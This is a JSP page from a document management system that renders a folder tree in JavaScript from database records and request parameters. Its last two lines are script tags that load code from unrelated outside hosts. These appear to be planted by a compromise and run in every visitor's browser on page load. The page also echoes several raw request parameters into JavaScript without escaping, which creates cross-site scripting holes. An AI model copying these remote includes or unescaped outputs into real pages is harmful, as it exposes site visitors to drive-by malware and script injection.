<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.forum.core.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<script language="javascript">
<!--
function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}
-->
</script>
<%
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  DmsDocument docTep = docRetrievalManager.getMyFavoriteObject();
  String jspPageMappingName = request.getParameter("jspPageMappingName");
  String pageViewOption =request.getParameter("pageViewOption");
  String methodParameter =request.getParameter("methodParameter");
  if(Utility.isEmpty(pageViewOption) || pageViewOption=="null"){
    pageViewOption="";
  }
  String rootFolderName = request.getParameter("rootFolderName");
  String rootFolderID = request.getParameter("rootFolderID");
  DmsDocument dmsRootFolder=new DmsDocument();
  if(!Utility.isEmpty(rootFolderID)){
    dmsRootFolder=(DmsDocument)docRetrievalManager.getDocument(TextUtility.parseIntegerObj(rootFolderID));
  }

  String showFolderName=request.getParameter("showFolderName");
  String showFolderID=request.getParameter("showFolderID");
  DmsDocument showRootFolder=new DmsDocument();
  if(!Utility.isEmpty(showFolderID)){
    showRootFolder=(DmsDocument)docRetrievalManager.getDocument(TextUtility.parseIntegerObj(showFolderID));
  }

  String parentID=request.getParameter("parentID");
  String rootID=request.getParameter("rootID");
  String locationSelect=request.getParameter("locationSelect");

  String isNewTree=request.getParameter("isNewTree");
 
  String rootIDFinal = "";
  if ("true".equals(isNewTree)){
    rootIDFinal = TextUtility.formatIntegerObj(showRootFolder.getRootID());
  }else{
    rootIDFinal = rootID;
  }
  

  String isUrl=request.getParameter("isUrl");
  String isShowShortCut=request.getParameter("isShowShortCut");
  
  String reserveParameter=request.getParameter("reserveParameter");
  String reserveParameter2=request.getParameter("reserveParameter2");
%>
<script language="JavaScript">
<!--
  if (document.getElementById) {
    webFXTreeConfig.rootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.openRootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.fileIcon   = "<html:img src='IconTreeFolderClosed.gif'  align='absmiddle' pathOnly='true'/>";
    webFXTreeHandler.currentID = "<%=parentID%>";
    var rootMenu = "";    
    
<%if (!"true".equals(isNewTree)){ %>
<%List publicRootList = (List)request.getAttribute("publicRootList");
  if(!Utility.isEmpty(publicRootList)){
%>
    <%if(!GlobalConstant.OP_MODE_MY_FAVORITE.equals(isUrl)){%>
      rootMenu += '<select name="publicRootList" style="font-family:Arial;font-size:8pt;" onchange="javascript:changeRoot(this.value);">';
    <%}%>
<%  for (int i = 0; i < publicRootList.size(); i++) {
      DmsRoot dmsRoot = (DmsRoot)publicRootList.get(i);
      if(!GlobalConstant.OP_MODE_MY_FAVORITE.equals(isUrl)){
        if (rootID.equals(dmsRoot.getID().toString())) {
          out.println("rootMenu += '<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\" selected>" + TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>';");
        } else {
          out.println("rootMenu += '<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\">" +TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>';");
        }
      }
    }
%>
    rootMenu += '</select><br>';
<%}%>
<%}%>

    var rti;
    var tree;
    <%if ("true".equals(isNewTree)){ %>
      tree = new WebFXTree('<%=TextUtility.escapeJSString(showRootFolder.getDocumentName())%>', 'javascript:handleTreeNodeGeneralDoc(<%=showFolderID%>,<%=TextUtility.formatIntegerObj(showRootFolder.getRootID())%>)', '<%=showFolderID%>');
    <%}else{%>
      tree = new WebFXTree('<%=TextUtility.escapeJSString(dmsRootFolder.getDocumentName())%>', 'javascript:handleTreeNodeGeneralDoc(<%=rootFolderID%>,<%=rootID%>)', '<%=rootFolderID%>');
    <%}%>
    tree.setBehavior('explorer');
<%
  request.getSession().setAttribute("publicfolderTreeRootID", rootID);
  request.getSession().setAttribute("publicfolderTreeParentID", parentID);
  Integer currentId = TextUtility.parseIntegerObj(parentID);
  List folderTreeList ;
  
  if ("true".equals(isNewTree)){ 
    folderTreeList = docRetrievalManager.getFolderIncShorcutByParentIDRootID(showRootFolder.getID(),showRootFolder.getRootID());
  }else{
    folderTreeList = (List)request.getAttribute("folderTreeList");
  }
  DmsDocument document = null;
  for (int i=0; i<folderTreeList.size(); i++) {
    document = (DmsDocument)folderTreeList.get(i);
    
    if (!"P".equals(document.getRecordStatus())){
    List subFolderList = null;

	  if(!GlobalConstant.OP_MODE_MY_FAVORITE.equals(isUrl)){	  
      if ("true".equals(isNewTree)){ 
        subFolderList = docRetrievalManager.getFolderByParentIDRootID(document.getID(), document.getRootID());
      }else{
        subFolderList = docRetrievalManager.getFolderByParentIDRootID(document.getID(), TextUtility.parseIntegerObj(rootID));
      }
	  }else{
      subFolderList = docRetrievalManager.getFolderByParentIDRootID(docTep.getID(), docTep.getRootID());
	  }

    //List subFolderList = docRetrievalManager.getFolderByParentIDRootID(document.getID(), TextUtility.parseIntegerObj(rootID));

    List parentDocumentList = docRetrievalManager.getParentDocumentList(currentId);
    //if the folder haven't children or in current folder's  parent id list ,product static tree node.    
    if (Utility.isEmpty(subFolderList) || (parentDocumentList.contains(document.getID()))){
      if(Utility.isEmpty(subFolderList)) {
      //1
        if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType())){//if is compound then add compoundIcon  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodeCompoundDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.compoundIcon,webFXTreeConfig.openCompoundIcon));
<%    
        }else if(DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType())){//if is paper document then add paperIcon  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodePaperDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.paperIcon,webFXTreeConfig.openPaperIcon));
    
        <%}else if(DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
          DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)document).getID(),DmsDocument.DOCUMENT_LINK);
          if(!Utility.isEmpty(newDocument)){
            if (DmsDocument.FOLDER_TYPE.equals(newDocument.getDocumentType())){%>
              tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>',  'javascript:setHiddenValue(<%=newDocument.getID()%>, <%=newDocument.getRootID()%>)', '<%=newDocument.getID()%>',null,webFXTreeConfig.shortcutFolder,webFXTreeConfig.shortcutFolder));
            <%}
          }%>
        <%}else if(DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType())){//if is email document then add emailIcon  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodeEmailDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.emailIcon,webFXTreeConfig.openEmailIcon));
<%    
        }else if(DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType())){//if is form document then add formIcon  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodeFormDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.formIcon,webFXTreeConfig.openFormIcon));
<%    
        }else if(DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType())){//if is workflow document then add workflowIcon  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodeFlowDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.workflowIcon,webFXTreeConfig.openWorkflowIcon));
<%
        }else{  
%>
          tree.add(new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeNodeGeneralDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>));
<%
        }
      }else{//2
        if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType())){//if is compound then add compoundIcon
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodeCompoundDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.compoundIcon,webFXTreeConfig.openCompoundIcon) ;
<%
        }else if(DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType())){//if is paper then add paperIcon
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodePaperDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.paperIcon,webFXTreeConfig.openPaperIcon) ;

        <%}else if(DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
          DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)document).getID(),DmsDocument.DOCUMENT_LINK);
          if(!Utility.isEmpty(newDocument)){
            if (DmsDocument.FOLDER_TYPE.equals(newDocument.getDocumentType())){%>
              var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>',  'javascript:setHiddenValue(<%=newDocument.getID()%>, <%=newDocument.getRootID()%>)', '<%=newDocument.getID()%>',null,webFXTreeConfig.shortcutFolder,webFXTreeConfig.shortcutFolder) ;
            <%}
          }%> 

<%
        }else if(DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType())){//if is email then add emailIcon
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodeEmailDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.emailIcon,webFXTreeConfig.openEmailIcon) ;
<%
        }else if(DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType())){//if is form then add formIcon
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodeFormDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.formIcon,webFXTreeConfig.openFormIcon) ;
<%
        }else if(DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType())){//if is workflow then add workflowIcon
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodeFlowDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>,null,webFXTreeConfig.workflowIcon,webFXTreeConfig.openWorkflowIcon) ;
<%      
        }else{
%>
          var subStaticNode<%=document.getID()%> = new WebFXTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', 'javascript:handleTreeSubStaticNodeGeneralDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>) ;
<%
        }
%>
         tree.add(subStaticNode<%=document.getID()%>);
         <%=docRetrievalManager.getXloadTreeScriptByParentIDCurrentIdFinal(document.getID(),currentId, TextUtility.parseIntegerObj(rootID),pageViewOption,jspPageMappingName,isUrl,isShowShortCut,isNewTree,reserveParameter,reserveParameter2)%>
      
  <%}//end if(Utility.isEmpty(subFolderList))
  }else{
  %>//3

   tree.add(rti = new WebFXLoadTreeItem('<%=TextUtility.escapeJSString(document.getDocumentName())%>', '<%= request.getContextPath() %>/dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&rootID=<%=rootIDFinal%>&jspPageMappingName=<%=jspPageMappingName%>&type=<%=locationSelect%>&isShowShortCut=<%=isShowShortCut%>&isNewTree=<%=isNewTree%>','javascript:handleTreeSubStaticNodeGeneralDoc(<%=document.getID()%>,<%=document.getRootID()%>)',<%=document.getID()%>));
<%
  }//end if (Utility.isEmpty(subFolderList) || (parentDocumentList.contains(document.getID()))
  }
}//end for
%>
    var divHeight = GetInnerHeight() - 165;
    if (CURRENT_PREFERENCE == "2") {
      divHeight -= 38;
    }
    <%if (!"true".equals(isNewTree)){ %>

    document.write('<div id="treeFrame" style="border:1px solid #CCCCCC;position:relative;left:0px;top:0px;width:170px;height:' + divHeight + 'px;z-index:1;overflow:auto;">');

    document.writeln(rootMenu);
    document.write(tree);

    document.write('</div>');

    <%}else{%>
      document.write(tree);
    <%}%>
<%
  List parentDocumentList = docRetrievalManager.getParentDocumentList(currentId);
  //DmsDocument currentDoc=(DmsDocument)docRetrievalManager.getDocument(currentId);
    if ("true".equals(isNewTree)){
      for(int i = parentDocumentList.size()-1 ; i > -1; i--){
        Integer parentOpenID   = (Integer)parentDocumentList.get(i);
        if(parentOpenID.intValue() != currentId.intValue() ){
          if (showRootFolder.getRootID().intValue()==TextUtility.parseInteger(rootID)){%>
            subStaticNode<%=parentOpenID%>.expand();
          <%}
          }
      }%>

    <%}else{
      for(int i = parentDocumentList.size()-1 ; i > -1; i--){
        Integer parentOpenID   = (Integer)parentDocumentList.get(i);
	      if(parentOpenID.intValue() != currentId.intValue() ){%>
			    subStaticNode<%=parentOpenID%>.expand();

        <%
        }
		  }
    }
  %>
  }
//-->
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>